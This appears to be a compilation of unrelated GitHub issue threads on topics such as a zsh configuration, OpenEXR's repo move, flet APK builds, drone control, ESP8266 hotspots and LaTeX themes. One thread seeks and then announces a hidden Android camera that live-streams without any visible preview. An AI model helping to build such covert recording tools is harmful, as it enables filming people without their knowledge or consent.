# ZSH_THEME_RANDOM_CANDIDATES=( "robbyrussell" "agnoster" )

# Uncomment the following line to use case-sensitive completion.
# CASE_SENSITIVE="true"

# Uncomment the following line to use hyphen-insensitive completion.
# Case-sensitive completion must be off. _ and - will be interchangeable.
# HYPHEN_INSENSITIVE="true"

# Uncomment the following line to disable bi-weekly auto-update checks.
# DISABLE_AUTO_UPDATE="true"

# Uncomment the following line to automatically update without prompting.
# DISABLE_UPDATE_PROMPT="true"

# Uncomment the following line to change how often to auto-update (in days).
# export UPDATE_ZSH_DAYS=13

# Uncomment the following line if pasting URLs and other text is messed up.
# DISABLE_MAGIC_FUNCTIONS="true"

# Uncomment the following line to disable colors in ls.
# DISABLE_LS_COLORS="true"

# Uncomment the following line to disable auto-setting terminal title.
# DISABLE_AUTO_TITLE="true"

# Uncomment the following line to enable command auto-correction.
# ENABLE_CORRECTION="true"

# Uncomment the following line to display red dots whilst waiting for completion.
# Caution: this setting can cause issues with multiline prompts (zsh 5.7.1 and newer seem to work)
# See https://github.com/ohmyzsh/ohmyzsh/issues/5765
# COMPLETION_WAITING_DOTS="true"

# Uncomment the following line if you want to disable marking untracked files
# under VCS as dirty. This makes repository status check for large repositories
# much, much faster.
# DISABLE_UNTRACKED_FILES_DIRTY="true"

# Uncomment the following line if you want to change the command execution time
# stamp shown in the history command output.
# You can set one of the optional three formats:
# "mm/dd/yyyy"|"dd.mm.yyyy"|"yyyy-mm-dd"
# or set a custom format using the strftime function format specifications,
# see 'man strftime' for details.
# HIST_STAMPS="mm/dd/yyyy"

# Would you like to use another custom folder than $ZSH/custom?
# ZSH_CUSTOM=/path/to/new-custom-folder

# Which plugins would you like to load?
# Standard plugins can be found in $ZSH/plugins/
# Custom plugins may be added to $ZSH_CUSTOM/plugins/
# Example format: plugins=(rails git textmate ruby lighthouse)
# Add wisely, as too many plugins slow down shell startup.
plugins=(git)

source $ZSH/oh-my-zsh.sh

# User configuration

# export MANPATH="/usr/local/man:$MANPATH"

# You may need to manually set your language environment
# export LANG=en_US.UTF-8

# Preferred editor for local and remote sessions
# if [[ -n $SSH_CONNECTION ]]; then
#   export EDITOR='vim'
# else
#   export EDITOR='mvim'
# fi

# Compilation flags
# export ARCHFLAGS="-arch x86_64"

# Set personal aliases, overriding those provided by oh-my-zsh libs,
# plugins, and themes. Aliases can be placed here, though oh-my-zsh
# users are encouraged to define aliases within the ZSH_CUSTOM folder.
# For a full list of active aliases, run `alias`.
#
# Example aliases
# alias zshconfig="mate ~/.zshrc"
# alias ohmyzsh="mate ~/.oh-my-zsh"

export NVM_DIR="$HOME/.nvm"
[ -s "$NVM_DIR/nvm.sh" ] && \. "$NVM_DIR/nvm.sh"  # This loads nvm
[ -s "$NVM_DIR/bash_completion" ] && \. "$NVM_DIR/bash_completion"  # This loads nvm bash_completion

Environment
Spaceship version: 3.11.2
Zsh version: 5.7.11
Zsh framework: oh-my-zsh
Zsh plugin manager: None
Terminal emulator: iTerm2
Operating system: macOS
Screenshot
echo $SPACESHIP_VERSION

Seems it solved automatically!

This is your battery level. It is displayed when your battery level is below 10%. It helps you notice that your battery is draining while you're working.

Ohhh wow didn't know that!
I was curious why it went away when my battery % increased!
Thanks for creating such an awesome minimalist theme :)

Thanks!

Thanks for that, I noticed this problem today and found the solution for whole day...Until I pluged the charger...


Add Racket support

Add support for Racket language, including selection based running.

Nice. Thanks for adding selection and file based support!


Ask for Streaming

I've searched for any hidden camera streamer for android. I've found lots of RTMP streamers but they all need activity for a SurfaceView for preview action. I've found based on your library and other questions like in this link and this link  but failed to create a streamer. Other resources and links I've checked:

https://github.com/begeekmyfriend/yasea

https://github.com/sprimgupta/Secret-Video-Recorder

https://android.stackexchange.com/questions/212685/stream-live-video-from-android-to-rtmp-server

https://github.com/TakuSemba/RtmpPublisher/issues/28

Looking for any answer.
Regards

Based on your library, I finally could create a hidden live video stream library named Live Hidden Camera.
https://github.com/mirsamantajbakhsh/LiveHiddenCamera


qtawesome need it's font resource file

sorry for the screenshot
textpath: \QtEasyDesigner.dist\\qtawesome\\fonts\\fontawesome4.7-webfont.ttf

If you are available to do a PR, this can be fixed by adding to the yaml configuration, described here: https://nuitka.net/doc/nuitka-package-config.html
And here is more of a walk through style post: https://nuitka.net/posts/nuitka-package-config-kickoff.html
Here are a example PRs for other packages:
#2030
#1993


Move openexr repo to AcademySoftwareFoundation organization

Now that OpenEXR has been officially adopted by the Academy Software Foundation and has cleared the "project incubation" phase, we're ready to move the GitHub repo into the ASWF organization.
The URL of the GitHub repo will change from https://github.com/openexr/openexr to https://github.com/AcademySoftwareFoundation/openexr.
This should be a transparent change. The old URL will redirect to the new location. If you have a fork of the repo, it should update and continue to work fine.  The other associated repos, such as https://github.com/openexr/openexr-images will move as well.
After the move, the new automated CLA system should activate as well, after which submitting a pull request will automatically prompt to establish a contributor license agreement if you haven't already.

This move is complete. The OpenEXR repo is now located at:
https://github.com/AcademySoftwareFoundation/openexr
We'll update the references to the URL in the repo documentation and on the website shortly, although the old URL will redirect to the new repo location.
If you encounter any problems, let us know.

Piotr Stanczyk pointed out that one of the website links to the openexr organization doesn't redirect since it was pointing to the github organization rather than the repo, so we should update soon:
https://www.openexr.com/links.html
points to:
https://github.com/openexr

I can fix that next week since the website is still in the Lucasfilm
organization.
On Thu, Dec 5, 2019 at 9:11 PM Christina Tempelaar-Lietz <
<EMAIL_ADDRESS>wrote:

Piotr Stanczyk pointed out that one of the website links to the openexr
organization doesn't redirect since it was pointing to the github
organization rather than the repo, so we should update soon:
https://www.openexr.com/links.html
points to:
https://github.com/openexr
—
You are receiving this because you authored the thread.
Reply to this email directly, view it on GitHub
https://github.com/AcademySoftwareFoundation/openexr/issues/617?email_source=notifications&email_token=AFC3DGK6IRA7ABOIPIJIA6LQXGYGNA5CNFSM4JQFBP22YY3PNVWWK3TUL52HS4DFVREXG43VMVBW63LNMVXHJKTDN5WW2ZLOORPWSZGOEGCZEPA#issuecomment-562401852,
or unsubscribe
https://github.com/notifications/unsubscribe-auth/AFC3DGMRGRH4OSY2JCPB7LTQXGYGNANCNFSM4JQFBP2Q
.

--
Cary Phillips | R&D Supervisor | ILM | San Francisco

Web site has been updated.


Updated metrics evaluation notebook

aiopenscale/tracker#36470

Closing since it is a duplicate of https://github.ibm.com/aiopenscale/notebooks/pull/52


[Feedback] Teams stop working with the Elgato Stream Deck

Not much info here. Why did Teams stop working with the Elgato Stream Deck? What port does the websocket connect on? It used to connect on 8124 back when it still worked.

Document Details
⚠ Do not edit this section. It is required for learn.microsoft.com ➟ GitHub issue linking.

ID: 0b255dfb-18c1-ea36-0bf4-a61ce9ddb2ab
Version Independent ID: 0b255dfb-18c1-ea36-0bf4-a61ce9ddb2ab
Content: Integrate existing third-party APIs - Teams
Content Source: msteams-platform/toolkit/add-API-connection.md
Service: msteams
GitHub Login: @MuyangAmigo
Microsoft Alias: zhany

Thank you for reporting this issue, we will check this and get the doc updated if required.

Could you please share more details on this issue? The above-mentioned doc does not mention anything regarding Elgato Stream Deck and web socket.

Hi @Meghana-MSFT , we don't any more details on this.

We are closing this issue for now, please reach out to us if you face any further issue. Thank you.


Update windows compilers

Hey all
This feedstock is directly specifying vs2017_win-64 as a dependency,
https://github.com/conda-forge/pycppad-feedstock/blob/6ddd983364a0a2b7c2bb066529c83177722f63c6/recipe/meta.yaml#L16-L20
but should just rely on the {{ compiler('c') }} function to provide the correct compilers on windows. In particular, conda-forge has moved on to vs2019 as the default compiler a while ago already, and doesn't support 32-bit builds anymore.
If you think you need vs2017, please let us know why (generally vs2019 and vs2022 should be fully compatible). If it's really necessary, please use the dedicated mechanism in conda_build_config.yaml for that, i.e.
c_compiler:     # [win]
  - vs2017      # [win]
cxx_compiler:   # [win]
  - vs2017      # [win]

as opposed to specifying it in meta.yaml directly.

@jorisv Could you handle it too?


Authz doc changes.

[APPROVALNOTIFIER] This PR is NOT APPROVED
This pull-request has been approved by: liminw
To fully approve this pull request, please assign additional approvers.
We suggest the following additional approver: frankbu
If they are not already assigned, you can assign the PR to them by writing /assign @frankbu in a comment when ready.
The full list of commands accepted by this bot can be found here.
The pull request process is described here

Needs approval from an approver in each of these files:

content/OWNERS

Approvers can indicate their approval by writing /approve in a comment
Approvers can cancel approval by writing /approve cancel in a comment


Roll Engine from 74d32ecdbd46 to b59793ee20be (6 revisions)

https://github.com/flutter/engine/compare/74d32ecdbd46...b59793ee20be
2020-08-19<EMAIL_ADDRESS>fix build (flutter/engine#20644)
2020-08-19<EMAIL_ADDRESS>Roll Skia from 4a56f4c29ec5 to 17c5b7024297 (2 revisions) (flutter/engine#20631)
2020-08-19<EMAIL_ADDRESS>Release the AccessibilityBridge when destroying a legacy FlutterView (flutter/engine#20610)
2020-08-19<EMAIL_ADDRESS>Missing default focus when navigating to a page with no SemanticsNode that sets namesRoute:true (flutter/engine#20516)
2020-08-19<EMAIL_ADDRESS>Hint freed (flutter/engine#19842)
2020-08-19<EMAIL_ADDRESS>updating editing state after location change. focusing on the element (flutter/engine#20620)
If this roll has caused a breakage, revert this CL and stop the roller
using the controls here:
https://autoroll.skia.org/r/flutter-engine-flutter-autoroll
Please CC<EMAIL_ADDRESS>on the revert to ensure that a human
is aware of the problem.
To report a problem with the AutoRoller itself, please file a bug:
https://bugs.chromium.org/p/skia/issues/entry?template=Autoroller+Bug
Documentation for the AutoRoller is here:
https://skia.googlesource.com/buildbot/+doc/master/autoroll/README.md

Commit queue failed; closing this roll.


flet build apk

Good day. There are several questions about the new functionality in 0.18.0.

When creating an apk using flet build apk, the following do not work:  --project, --description, --product, --org.
I used serious python before. You could put a file with a security key (

) that the play market requires. How to do this with the current functionality of flet build apk?
The created apk does not have access to the Internet.

@Aporial
What exactly do you mean by "The created apk does not have access to the Internet."

@Aporial
What exactly do you mean by "The created apk does not have access to the Internet."

I have 2 checks in my application. checking ping to Google and checking connection to Firebase. When I create an apk file using serious python, everything works. But with the new method it doesn’t work

@Aporial
I experienced the same issue. I use detabase from deta space to store todo list. I built apk using flet build apk. Installed in android device and run it. It could not save todo items. In windows desktop the same code can save todo items in detabase.
How did you solve it?


Wrong mass estimation during flight

Hello MRS
I was trying to fly the F450 drone with a load of 0.5kg. The drone flies perfectly when there is no extra load attached to it, this can be seen on the video with the rosbag file. Video + rosbag (https://we.tl/t-3QeVrP9lgu)
The problem occurs when the load is attached. In the simulation, the SE3controller with the MPCtracker is able to fly with a load of 0.5kg quite easily. In reality, there are big oscillations in the z. When looking at the mass estimation there is clearly a problem. Do you know what causes this and how we could solve this problem? We only asked to take off and did not give any commands afterwards (only landing). Video + rosbag (https://we.tl/t-b9asDCijFO)
UAV state z:

Mass estimation (should go to 3kg= 2.5kg drone + 0.5kg load)

Thank you in advance for your response!
Best
Raphael

Hey, sorry for not getting back sooner. We have had a series of experimental camps and vacations. Have not seen the bag, but based on those graphs, the UAV seems to not handle the mass well. It looks like the weight exceeds the capability of the UAV. Could you please check the thrust output of the system (control_manager/attitude_cmd/thrust) and verify that it is below 75%? Over 75% is a red flag. You can also check the per-motor output in mavros/rc/out (the first for channels). If it is over 1750, again, red flag, the uav might bo overloaded.


Automatic Node Size when parameter is set to 0

Currently, if I set nodesize to 0, the nodes disappear and cannot be modified.
It would be nice to use this value for automatic node dimension to avoid setting that up, or for resizeable windows.
Using max(2.5, max(width,height)) where width and height are the dimensions of the JSUI made good results for me on regular function.
Cheers !

Ah, thanks for feeding that back, much appreciated. I’ll have a pass over all the parameters and ensure sensible limits 👍
Neil
On 16 Nov 2023, 18:01 +0000, altarofwisdom @.***>, wrote:

Currently, if I set nodesize to 0, the nodes disappear and cannot be modified.
It would be nice to use this value for automatic node dimension to avoid setting that up, or for resizeable windows.
Using max(2.5, max(width,height)) where width and height are the dimensions of the JSUI made good results for me on regular function.
Cheers !
—
Reply to this email directly, view it on GitHub, or unsubscribe.
You are receiving this because you are subscribed to this thread.Message ID: @.***>

I was going to just steal your calculation but I don’t quite understand how that would work: it looks like it would set the size to be the largest of 2.5 or (JSUI width) or (JSUI height). So if the window is 400 x 300 it would set the node size to 400?
Neil
On 16 Nov 2023, 18:01 +0000, altarofwisdom @.***>, wrote:

Currently, if I set nodesize to 0, the nodes disappear and cannot be modified.
It would be nice to use this value for automatic node dimension to avoid setting that up, or for resizeable windows.
Using max(2.5, max(width,height)) where width and height are the dimensions of the JSUI made good results for me on regular function.
Cheers !
—
Reply to this email directly, view it on GitHub, or unsubscribe.
You are receiving this because you are subscribed to this thread.Message ID: @.***>

Oops my bad, here's the actual computation I did:
v1 = (width+height)/750
v2 = max(1, v1)
nodesize = max(2.5,v2)
where nodesize is the radius
I also update the line thickness accordingly to v2

Haha, slightly different! I thought I was going mental :D
Neil
On 16 Nov 2023, 19:05 +0000, altarofwisdom @.***>, wrote:

Oops my bad, here's the actual computation I did:
v1 = (width+height)/750
v2 = max(1, v1)
nodesize = max(2.5,v2)
where nodesize is the radius
I also update the line thickness accordingly to v2
—
Reply to this email directly, view it on GitHub, or unsubscribe.
You are receiving this because you commented.Message ID: @.***>

Converting max patcher into formulas is not as easy as it seems :p
BTW noticing that these values cannot be updated without resetting the js, right ?

So would you suggest removing the node size option altogether?
On 16 Nov 2023, 19:09 +0000, altarofwisdom @.***>, wrote:

Converting max patcher into formulas is not as easy as it seems :p
BTW noticing that these values cannot be updated without resetting the js, right ?
—
Reply to this email directly, view it on GitHub, or unsubscribe.
You are receiving this because you commented.Message ID: @.***>

I would keep it, but default to "0" aka auto ?

And do the same for line width

Sure 👍
On 16 Nov 2023, 19:32 +0000, altarofwisdom @.***>, wrote:

And do the same for line width
—
Reply to this email directly, view it on GitHub, or unsubscribe.
You are receiving this because you commented.Message ID: @.***>

That is true currently, yes.
 One day :)
In the meantime I could look at making certain parameters settable without recompiling. Any in particular?
On 16 Nov 2023, 19:09 +0000, neilbaldwin/mmmsegui @.***>, wrote:

BTW noticing that these values cannot be updated without resetting the js, right ?

Mainly colors, nodes and lines, I'd say.
Domains as well could be updateable (with nodes following or not the domains) ?

Colors already works - see my example .maxpat
Node size and lines should be no problem. What do you mean by “domains”?
On 16 Nov 2023, 19:43 +0000, altarofwisdom @.***>, wrote:

Mainly colors, nodes and lines, I'd say.
Domains as well could be updateable (with nodes following or not the domains) ?
—
Reply to this email directly, view it on GitHub, or unsubscribe.
You are receiving this because you commented.Message ID: @.***>

horizontal and vertical range.
Also, displaying values while hovering would be nice, and maybe values for each point, plus grids...

This is done and will be in the next version.

Username: @.***
My Cloud Drive folder: /Users/neilbaldwin/Cloud-Drive
Start Time: 12-16-2023 09:58:55
12-16-2023 09:58:55 :  [Full Sync up] File: /TBD Training/images/Heat Exchanger - Cold Water Inlet.jpg File size: 2.72 MB
12-16-2023 09:58:55 :  [Full Sync up] File: /TBD Training/images/Mash Tun Outlet (to HWT pump).jpg File size: 2.19 MB
12-16-2023 09:58:55 :  [Full Sync up] File: /TBD Training/images/Heat Exchanger - Outlet from Mash Tun.jpg File size: 2.22 MB


Feature requests - web management interface and captive portal

Been using this to create a guest hotspot for a while (as BT routers do not let you a secondary network for guest access to prevent access to equipment on the primary network) and I love it.
The command line interface for modifying settings is great and all but it would be nice to have a web GUI type interface for modifying settings as well, I believe this is not too hard as I've seen it done here.
Not sure if this is actually possible with the esp but it would also be pretty awesome to create user accounts with different permissions/website filtering and have them sign in through a captive portal.

Basic web config is now included...

#define CONFIG_PAGE  in file "web.h",
When I tried to create long  CONFIG_PAGE,
it can compile , after restart  it's brick!,
Can use more long #define CONFIG_PAGE?
Thank you.

Currently the whole page is send out with just one tcp_send after connect. To send longer string, we have to change the sending with send partially, send callback, send the nest part and so on. I will look after that after my summer vacation. In  two weeks I will be back... ;-)

Would be nice to set the DNS through the web config

@martin-ger
Have a nice summer vacation. ^^

@robdixn
Web config with DNS  - ROM  at
https://drive.google.com/file/d/0B2YEwqsbQm08WWIxNWxwYU1oQzQ/view

Cheers @TridentTD

@TridentTD it's not flashing for some reason, flash process shows up on PC as successful but old SSID is being broadcast with same config options as before. Any ideas what I'm doing wrong?

ESP8266  save the last wifi-config in the flash mem.
Try to clean up the flash by use  esptool.py.

esptool.py --port [YOUR_COM] erase_flash

@TridentTD ok, will try that, what would I use for the '--port' variable?

COMPORT that you connect ESP8266 to your computer.
example COM5  (on Windows)..

esptool.py --port COM5 erase_flash

Martin-ger's master,
Thank you for the repositories you have made.
I've managed to try it, thanks.
But can you help my problem to join the open dhcp wifi network using user login and password?
(Keep using the esp8266 device of course)


Differences in CSS between local vs. deployed versions?

The header appears differently between the local and deployed version.
Local:

Deployed:

Need to identify what the source of the difference is...

A similar issue is mentioned in this StackOverflow post


!hsbet module

How will this work for the streamer?
Forsen installs trackbot.
He gives me the API thing, and I set that up in the module.
The module has a timer which runs every minute and polls the trackbot API
A tie should be considered a loss
New command:
!hsbet win/lose points

Add a new command, so a mod can trigger a new game.
If it's already over 120 secounds.
For moments when the Streamer is afk or is doing other stuff.

@Nacht123 Something like !hsbet open which would just allow the "previous game that started" to be bet on again for 120 more seconds?
That way previous bets can be saved as well, for people who just like to bet blindly

The "notify" timer that's run should be run every second or so instead, and just check for the amount of seconds left.
If the amount of seconds left is an "even number", 10 seconds, 20 seconds, 30 seconds etc print the message.
If the amount of seconds is 5, 4, 3, 2, 1 also print it in another format.
Make itm ore exact.

[ ] Store Data about bet's Easy or Advanced

Easy
Same as duels,

Total Bets
Bet on win
Bet on losing
Winrate
Profit from bets
Last bet

Advanced

Use the game id to store the data for every game separate

Should !hsbet open allow people to redo their bets?

Store more data in the tb_hsbet_game like opponent class, user class, etc.

!hsbet lose all/hsbet win all. This would simply do a min(MAX_BET, USER_AVAILABLE_POINTS) and bet that.
if you try to bet 25000 points, but 5000 is the max. I don't think there's an issue in placing a bet for 5000.

make it post the points placed after betting closes. Tracking w/l and points earned in total would be nice too.

[ ] Don't send messages, if the streamer is offline for hsbets :icecream:

stats are done 72eb1275022d173b0703203e8ad20da86dd8dfe0 here
Now left a sort of graphic for userstats on the website is left
and/or
forsen.tv/hsbet/ID with more stats for the last 10 (?) games.


Linux support

[ ] setup Github Action for Linux packages (DEB, RPM)
[ ] get package to AUR (somehow)

I'd be willing to write the PKGBUILD and test it, as I run Manjaro.

Anybody has an idea why this fails: https://github.com/michalklempa/mosaic/runs/975109497?check_suite_focus=true
Have created a ticket here: https://github.com/samuelmeuli/action-electron-builder/issues/42

@TheOPtimal Hey, please checkout v0.0.2. There is a package for Arch (and other Linux packages as well).


pip install from wheel fails on python 2.7

Should this not work? The install computer has no internet connection. TIA.
C:\wheels>pip install path.py-11.4.1-py2.py3-none-any.whl
Processing c:\wheels\path.py-11.4.1-py2.py3-none-any.whl
Collecting importlib-metadata>=0.5 (from path.py==11.4.1)
Retrying (Retry(total=4, connect=None, read=None, redirect=None)) after connection broken by 'NewConnectionError('<pip._vendor.requests.packages.urllib3.connection.VerifiedHTTPSConnection object at 0x05C0D590>: Failed to establish a new connection: [Errno 10061] No connection could be made because the target machine actively refused it',)': /simple/importlib-metadata/

Sorry, several dependencies were needed, after which it worked.


bugzilla issue 4391 add curry to std.functional

I wasn't sure the best way to add template constraints to make sure that things without state (e.g. functions) use the alias template version and things with state (callable objects) use the type template version.  LMK how best to go about that.
This addresses bugzilla issue 4391

Hi. Thanks a lot for your PR!
A few first things:

contains tabs
needs to reference the Bugzilla issue in the git commit for auto-close
new functions require name approval from Andrei

Tab issue should be fixed now and I added the BZ number to the commit message.

I revamped the implementation so that the returned objects each store a copy of the arguments passed so far, so they're all independent.  I also added some example unittests.

ping?

@atilaneves do you approve the addition of this function?

Looks like the unittests (the first one at least, not sure about the 2nd yet) can't be @nogc for some reason... Can anyone see what's being allocated?  A closure or something?

Looks like the unittests (the first one at least, not sure about the 2nd yet) can't be @nogc for some reason... Can anyone see what's being allocated? A closure or something?

Exactly because fun is a non-static function referencing its parameter. I think a better apporach to handle opCall would be something like this:
auto curry(T)(T t)
{
    static auto fun(ref T op, ref Parameters!T args)
    {
        return op(args);
    }
    return curry!fun()(t);
}

Sorry for the WoT above.
I experimented a bit with your branch to tackle the aforementioned problems and ended up with this. It works correctly (as far as I can tell) but DIP1000 complains about escaping references ...

Those look good to me.  What's the best way to incorporate those? For me to merge from your branch into the one for this PR?

Guess you could cherry-pick the commit (19ece66023162ec8decbb15dc590f15145163581) from my branch and replace your current one.
Note that i changed my branch a few minutes ago to error gracefully for zero-argument callables

@benjones Once the style issue (if constraint on new line) is fixed this should be good.

@PetarKirov You might want to give this another look


feat(app): add device reset screen (clear pipette cal data and runsHistory)

Overview
Currently only support clear pipette data and runsHistory since gripper isn't implemented yet.
stored data clear function and factory reset need a new endpoint clear data.
Those 3 things will be solved in a following PR.
This will close RCORE-493

Test Plan
Check the data reset function works as expected.

RobotSettingsDashboard (from Navigation's Settings)
Tap Device Reset
Tap pipette, runsHistory or both of them
Tap clear button

Changelog

add Device Reset screen for pipette calibration data and runsHistory data

Review requests

Risk assessment
low

[ ] fix the last test case
[ ] merge https://github.com/Opentrons/opentrons/pull/12098


Improved the Tensor manipulation

Improved the Tensor manipulation in the SpatioTemporalTransformer Module.
Processed to a reshape of the data as follow : 1 Spatial_Attention  b t p c -> (bt) p c 2 Temporal_Attention  b t p c -> (bp) t c .

There is a typo in the comment l.282 : "# reshape '(b t) p c -> (b t) p c'"
It should be : "# reshape '(b t) c p -> (b t) p c'"
At line 298, x should be of size : (b t) p c so you should extract BT, P C from its shape.
To get B, you should get it from the input x of the forward I guess :

B = x.shape[0] at line 292 before prepare_tokens

Then you could replace line 298 with :

bt, P, C = x.shape

And line 299 with :

T = int(bt / B)
x = x.unflatten(0, (B, T))  # reshape '(b t) p c -> b t p c'
x =x.permute(0, 2, 1, 3) # reshape 'b t p c -> b p t c'
x =x.flatten(0, 1) # reshape 'b p t c -> (b p) t c'
Maybe I'm wrong, tell me what you think about it @ideAxel

Hello Alex, Great take. I made a first attempt to make it work with the PatchEmbed method, we also need to adapt the interpolate_pos_encoding in the future.


The result of DenseCRF in Table 1

Hi, I try to reproduce the results of Table 1 in the paper. But the result of +DenseCRF is only 62.05 (using your trained weights to infer the cam file). Could you share your CRF process code and CRF hyper-parameters? Thanks!

Thanks for your attention. The CRF process is ensembled in training IRN. You can run cam2ir.py to obtain IR labels. Noted that the unconfident area is treated as background in evaluation for a fair comparison.

@chenqi1126 ,Thanks for your reply. So  the result of +DenseCRF is  the performance of IR Labels? And the evaluation file is eval_sem_seg.py? I am not sure whether my understanding is correct. Please correct me if I am wrong. Thank!

@oooooppppsk,

If you read the cam2ir.py carefully, it is easy to find that the generation of IR labels is essentially a denseCRF process for the localization map, together with an auxiliary process for the background-weaken localization map that aims to determine the uncertainty area. When evaluating the IR labels, we treat the uncertainty area as the background. which equals the denseCRF process for localization map.
eval_sem_seg.py is ok, but as I say, you need to add a preprocess to convert the uncertainty area (255) to the background (0) before calculation.

@chenqi1126 Thanks for your reply!

How to reproduce Table 1 and how to set argument irn_network？


minSizes prop ignored on window resize

if the user shrinks a window, the pane with minSizes set will shrink smaller than the minimal size.
I know this might be a browser issue that's hard to fix so feel free to close this. But this does cause some problems in my usage and any help to circumvent that would be greatly appreciated.

I have some ideas for a v3 release that will be using css grid instead of flex for laying out the items.
This will allow offloading the entire min/max management completely to css grid's minmax function which I think will help with performance as well as simplicity.
It will also give the user the ability to specify a min size as well as a max size relatively easily, which is not currently something that's possible.
Sorry it took me so long to come and reply to this.  It's a bit difficult to spend time on OSS for me at the moment but hopefully will manage to do this redesign and that will solve your issue..


Does not compile with later versions

I tried to update to KeyCloak 21.1.2 (as the 22.x has too many bugs). But compile and tests fail. I fixed it, and I will make a pull request if I can figure out how to do that.

@danelec-hpm should be solved based on your code contribution


Provide support to macOS

The current installation method only supports linuxes
When I try to execute clj-holmes in a mac I get the following error:
$ clj-holmes
-bash: /usr/local/bin/clj-holmes: cannot execute binary file

I believe this is caused because the binary is formated as an ELF
$ objdump -a $(which clj-holmes)

/usr/local/bin/clj-holmes:     file format elf64-x86-64
/usr/local/bin/clj-holmes

Macos support implemented added.
https://github.com/clj-holmes/clj-holmes/releases/tag/v1.3.3


Update Alert API Examples in RNTester

Summary
This PR updates the Alert API Examples in RNTester. It is part of the MLH Fellowship.
Changelog

Added new use case for the Alert API.
Wrote each use case in a separate example block to allow searching
Wrote Detox tests for the Alert Screen

Test Plan

Run the RNTester app locally by following these instructions.
Search for Alerts and tap on it

@rickhanlonii I have created the PR for the Alert Screen. Please take a look :)

@rickhanlonii Thanks for the review! I have added the screen-recording in the PR description. Please let me know if you need anything else.


fix(app): raise window on unsaved-buffer close

This brings the typical behavior that any window with unsaved work is raised on an attempt to quit. This uses Revery's new Window.raise to achieve that.

I was originally going to include a SIGINT handler in this PR as well, but that requires some more investigation and I think this is important/significant enough to stand on it's own

I was originally going to include a SIGINT handler in this PR as well, but that requires some more investigation and I think this is important/significant enough to stand on it's own

That sounds like a good plan 👍

/azp run


How to change the front page stripe color

I have changed the theme for the book but the front page still has the same orange stripe.  Is there a way to change this.  Below is the pre-amble to the book
\documentclass[color=green]{elegantbook}
\usepackage{suffix}
\newcommand\chapterauthor[1]{\authortoc{#1}\printchapterauthor{#1}}
\WithSuffix\newcommand\chapterauthor*[1]{\printchapterauthor{#1}}
\makeatletter
\newcommand{\printchapterauthor}[1]{%
{\parindent0pt\vspace*{-25pt}%
\linespread{1.1}\large\scshape#1%
\par\nobreak\vspace*{35pt}}
@afterheading%
}
\newcommand{\authortoc}[1]{%
\addtocontents{toc}{\vskip-10pt}%
\addtocontents{toc}{%
\protect\contentsline{chapter}%
{\hskip1.3em\mdseries\scshape\protect\scriptsize#1}{}{}}
\addtocontents{toc}{\vskip5pt}%
}
\makeatother
\newenvironment{dedication}
{
\cleardoublepage
\thispagestyle{empty}
\vspace*{\stretch{1}}
\hfill\begin{minipage}[t]{0.66\textwidth}
\raggedright
}%
{
\end{minipage}
\vspace*{\stretch{3}}
\clearpage
}
\title{This is Us}
\subtitle{A Personal Narrative Collection: \
Perspectives from English Language Learning Students}
\institute{Roseville Area High School}
\author{RAHS EL Students}
\version{2021-22}
\date{\today}
\extrainfo{“"We are never truly loved, until we are loved for WHO and not WHAT we are”” --― Olaotan Fawehinmi}
\cover{IMG_20200711_130227.jpg}
\begin{document}
\maketitle

You specified color=green, the cover color has changed from \definecolor{structurecolor}{RGB}{60,113,183} to \definecolor{structurecolor}{RGB}{0,120,2}.
If you want to customize the colors, please select nocolor or use color=none and declare the main, second,  and third colors in the preamble section as follows:
\definecolor{structurecolor}{RGB}{60,113,183}
\definecolor{main}{RGB}{0,166,82}
\definecolor{second}{RGB}{255,134,24}
\definecolor{third}{RGB}{0,174,247}

It's still orange.  Using Overleaf if that matters.

It's still orange. Using Overleaf if that matters.

You need to change the color like this.
\RequirePackage[table]{xcolor}
\definecolor{structurecolor}{RGB}{0,0,0}
\definecolor{main}{RGB}{0,0,0}
\definecolor{second}{RGB}{0,0,0}
\definecolor{third}{RGB}{0,0,0}
\documentclass[color=none]{elegantbook}
\begin{document}
  \maketitle
\end{document}


docs: add a miscellaneous issue form

Things added/changed:

Add a miscellaneous issue form.

Closes #3795.

Can you give an example of an issue that is not a bug and not a feature request?

A user requesting to improve the readme. I don't think that's a feature or a bug.

A user requesting to improve the readme. I don't think that's a feature or a bug.

I am beginning to think that this just opens a way to create low-effort issues. I think if someone want to update a readme, they can use a bug template if something is wrong, or enhancement if it describes something new

A user requesting to improve the readme. I don't think that's a feature or a bug.

I am beginning to think that this just opens a way to create low-effort issues. I think if someone want to update a readme, they can use a bug template if something is wrong, or enhancement if it describes something new

Well, not necessarily. But if you think this doesn't add much value, feel free to close the PR. Still, thank you. 🙂


Version 3.0 - Mac OS X 10.11.5

Hi @jeroendesloovere
Parser does not recognize the previous parameter "item1" at EMAIL line and not entry into the switch cases.
I post you an example:
BEGIN:VCARD
VERSION:3.0
PRODID:-//Apple Inc.//Mac OS X 10.11.5//EN
N:;Albert;;;
FN:Albert
<EMAIL_ADDRESS>item1.X-ABLabel:$!!$
UID:a842653d-3353-45a3-a6b9-c7fd95c1380c
X-ABUID:A842653D-3353-45A3-A6B9-C7FD95C1380C:ABPerson
END:VCARD
Thanks!

On it. I wasn't aware of this "group" construct (RFC mentions it, though).

There. Unit tests included.

PR here: #72

Closing this one since the PR of @wadmiraal should have fixed it.


Fix documentation of a StreamNode, groupBy is a property, not a chain…

…ing method.
Describing groupBy as a chaining method is misleading since in the context
of a stream node, groupBy is actually interpreted as a property - attempts
to use it as a chaining method result in a script compilation error.
The documentation is amended to reflect the actual behaviour.
Signed-off-by: Jon Seymour<EMAIL_ADDRESS>

Closed in favour of https://github.com/influxdata/kapacitor/pull/446 which fixes the problem at source.


Flyer Submission & Login for Organizations

Overview
Adds the login flow and flyer creation for organizations.
Changes Made

Added the following general components:

VolumeTextField
VolumeButton

Completed organizations login screen
Added data store for organization slug and access code for remembering login details
Added save login information checkbox to org login screen
Updated GraphQL files to include mutations for flyer creation
Created view models for organizations login screen and flyer upload screen
Created new generalized response state class to be utilized from now on instead of individual response states for each model.
Added file for general utility functions
Added letIfAllNotNull function, which acts as a .let that works for multiple variables

Test Coverage
Tested by logging into an organization and remembering login information, then uploading multiple flyers and ensuring everything was parsed correctly. Also tried not checking the box to remember login info to ensure that it would be properly forgotten.
Screenshots & Videos

Entry point

Organization login screen

Flyer upload screen

Date picker

Time picker

Photo picker

Filled in flyer upload form

Published flyer success state

Newly uploaded flyer displaying on Flyers page

Just out of curiosity, how will organizations receive their access code?

Just out of curiosity, how will organizations receive their access code?


wechat: init at <IP_ADDRESS> (linux) / <IP_ADDRESS> (darwin)

Fixes https://github.com/NixOS/nixpkgs/issues/354234
Things done

Built on platform(s)

